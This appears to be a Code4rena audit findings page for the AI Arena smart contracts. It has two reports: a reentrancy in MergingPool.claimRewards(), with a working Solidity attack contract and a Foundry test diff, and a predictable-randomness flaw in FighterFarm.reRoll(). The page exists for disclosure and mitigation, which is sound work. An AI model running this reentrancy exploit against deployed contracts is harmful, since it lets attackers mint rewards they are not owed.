AI Arena - Tricko's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L167

Vulnerability details

Impact

Reentrancy in MergingPool.claimRewards() enables users to claim more fighters than they are supposed to based on prize distribution.

Proof of Concept

When claiming rewards through the MergingPool.claimRewards() function, EVM execution will be handled back to the address receiving the minted fighters due to the use of _safeMint in FighterFarm._createNewFighter().

An malicious user who is selected as winner can exploit this to mint more tokens in MergingPool.claimRewards() than they are supposed to. As we can see from the POC below (apply the diff to MergingPool.t.sol and run forge test --match-test testReentrancyPOC) the user should be able to claim only 2 fighters, however at the end of the execution the user was able to claim 3 fighters.

diff --git a/MergingPool.t.sol b/MergingPool.t.mod.sol
index 7ad2ba6..6627b94 100644
--- a/MergingPool.t.sol
+++ b/MergingPool.t.mod.sol
@@ -13,6 +13,54 @@ import {GameItems} from "../src/GameItems.sol";
 import {AiArenaHelper} from "../src/AiArenaHelper.sol";
 import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
 
+contract Attack {
+    uint256 public counter;
+    uint256 public maxCount;
+    MergingPool public mergingPool;
+    string[] public modelURIs;
+    string[] public modelTypes;
+    uint256[2][] public customAttributes;
+
+    constructor() {
+        counter = 0;
+        modelURIs = new string[](2);
+        modelTypes = new string[](2);
+        customAttributes = new uint256[2][](2);
+    }
+
+    function setup(
+        address poolAddress,
+        uint256 _maxCount,
+        string[] calldata _modelURIs,
+        string[] calldata _modelTypes,
+        uint256[2][] calldata _customAttributes
+    ) external {
+        maxCount = _maxCount;
+        mergingPool = MergingPool(poolAddress);
+        modelURIs[0] = _modelURIs[0];
+        modelURIs[1] = _modelURIs[1];
+        modelTypes[0] = _modelTypes[0];
+        modelTypes[1] = _modelTypes[1];
+        customAttributes[0][0] = _customAttributes[0][0];
+        customAttributes[0][1] = _customAttributes[0][1];
+        customAttributes[1][0] = _customAttributes[1][0];
+        customAttributes[1][1] = _customAttributes[1][1];
+
+    }--
+
+    function reenterMint() external {
+        mergingPool.claimRewards(modelURIs, modelTypes, customAttributes);
+    }--
+
+    function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
+        if (counter < maxCount) {
+            counter += 1;
+            mergingPool.claimRewards(modelURIs, modelTypes, customAttributes);
+        }
+        return IERC721Receiver.onERC721Received.selector;
+    }--
+}More--
+
 contract MergingPoolTest is Test {
     /*//////////////////////////////////////////////////////////////
                                 CONSTANTS
@@ -195,6 +243,52 @@ contract MergingPoolTest is Test {
         assertEq(numRewards, 0);
     }--
 
+    function testReentrancyPOC() public {
+        //Setup attack contract
+        Attack attack = new Attack();
+
+        //Set winners
+        _mintFromMergingPool(address(attack));
+        _mintFromMergingPool(_DELEGATED_ADDRESS);
+        assertEq(_fighterFarmContract.ownerOf(0), address(attack));
+        assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS);
+        uint256[] memory _winners = new uint256[](2);
+        _winners[0] = 0;
+        _winners[1] = 1;
+        _mergingPoolContract.pickWinner(_winners);
+        _mergingPoolContract.pickWinner(_winners);
+        //Note that the attacker is set as winner of two rounds
+        //Therefore he should be able to claim 2 fighters.
+
+        //Attacker configure his attack contract to claim claimRewards
+        string[] memory _modelURIs = new string[](2);
+        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
+        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
+        string[] memory _modelTypes = new string[](2);
+        _modelTypes[0] = "original";
+        _modelTypes[1] = "original";
+        uint256[2][] memory _customAttributes = new uint256[2][](2);
+        _customAttributes[0][0] = uint256(1);
+        _customAttributes[0][1] = uint256(80);
+        _customAttributes[1][0] = uint256(1);
+        _customAttributes[1][1] = uint256(80);
+        attack.setup(
+            address(_mergingPoolContract), 
+            1, 
+            _modelURIs, 
+            _modelTypes, 
+            _customAttributes
+        );
+
+        //Attack is executed
+        uint256 fighterBalanceBefore = _fighterFarmContract.balanceOf(address(attack));
+        attack.reenterMint();
+        uint256 fighterBalanceAfter = _fighterFarmContract.balanceOf(address(attack));
+
+        //User was able to claim 3 fighters
+        assertEq(fighterBalanceAfter - fighterBalanceBefore, 3);
+    }--
+
     /// @notice Test getting the unclaimed amount for an address owning 2 fighters that's been included in 2 rounds of picked winners.
     function testGetUnclaimedRewardsForWinnerOfMultipleRoundIds() public {
         _mintFromMergingPool(_ownerAddress);

Tools Used

Manual Review

Recommended Mitigation Steps

Consider adding the nonReentrant modifier from OZ's ReentrancyGuard

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391

Vulnerability details

Impact

All the values used to generate the dna variable in FighterFarm.reRoll() are known before the call to it. Therefore, the dna, and thus the new fighter attributes, can be determined beforehand in a deterministic manner, enabling users to obtain any attributes they desire.

Proof of Concept

Although the natspec of FighterFarm.reRoll() states that it "Rolls a new fighter with random traits," the function doesn't actually generate random traits. The values used to generate the new dna value (uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])))) are all known before the call to reRoll(). Additionally, the value of msg.sender is user-controlled, as the user can transfer the fighter to another address they control before calling FighterFarm.reRoll(). Consequently, users can generate new addresses (by generating private keys) and simulate the resulting dna, and thus fighter attributes, after the reRoll() call.

As we can see from the code there are 31 different weight values, numElements[generation[fighterType]] different elements and 6 physical attributes ("head", "eyes", "mouth", "body", "hands", "feet") with 6 different values each.

For this simplified example, consider that numElements[generation[fighterType]] == 3, and all the physical attributes have the same probabilities. There are 31 * 3 * 6 * 6 * 6 * 6 * 6 * 6 = 4,339,008 distinct combinations of (element, weight, head, eyes, mouth, body, hands, feet). The generated dna value dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId]))) will be a uniform value in the range (0, 2**256 - 1). Therefore, the user would need to generate, on average, 4,339,008 new addresses to find the exact combination of (element, weight, head, eyes, mouth, body, hands, feet) they desire, which is a trivial amount of tries that can be done in a few minutes on unoptimized code.

Consequently, FighterFarm.reRoll() allows any user to reroll their fighter attributes to any value they want by exploiting this.

Tools Used

Manual Review

Recommended Mitigation Steps

Consider using a source of randomness to generate the dna, for example Chainlink VRF

Assessed type

Other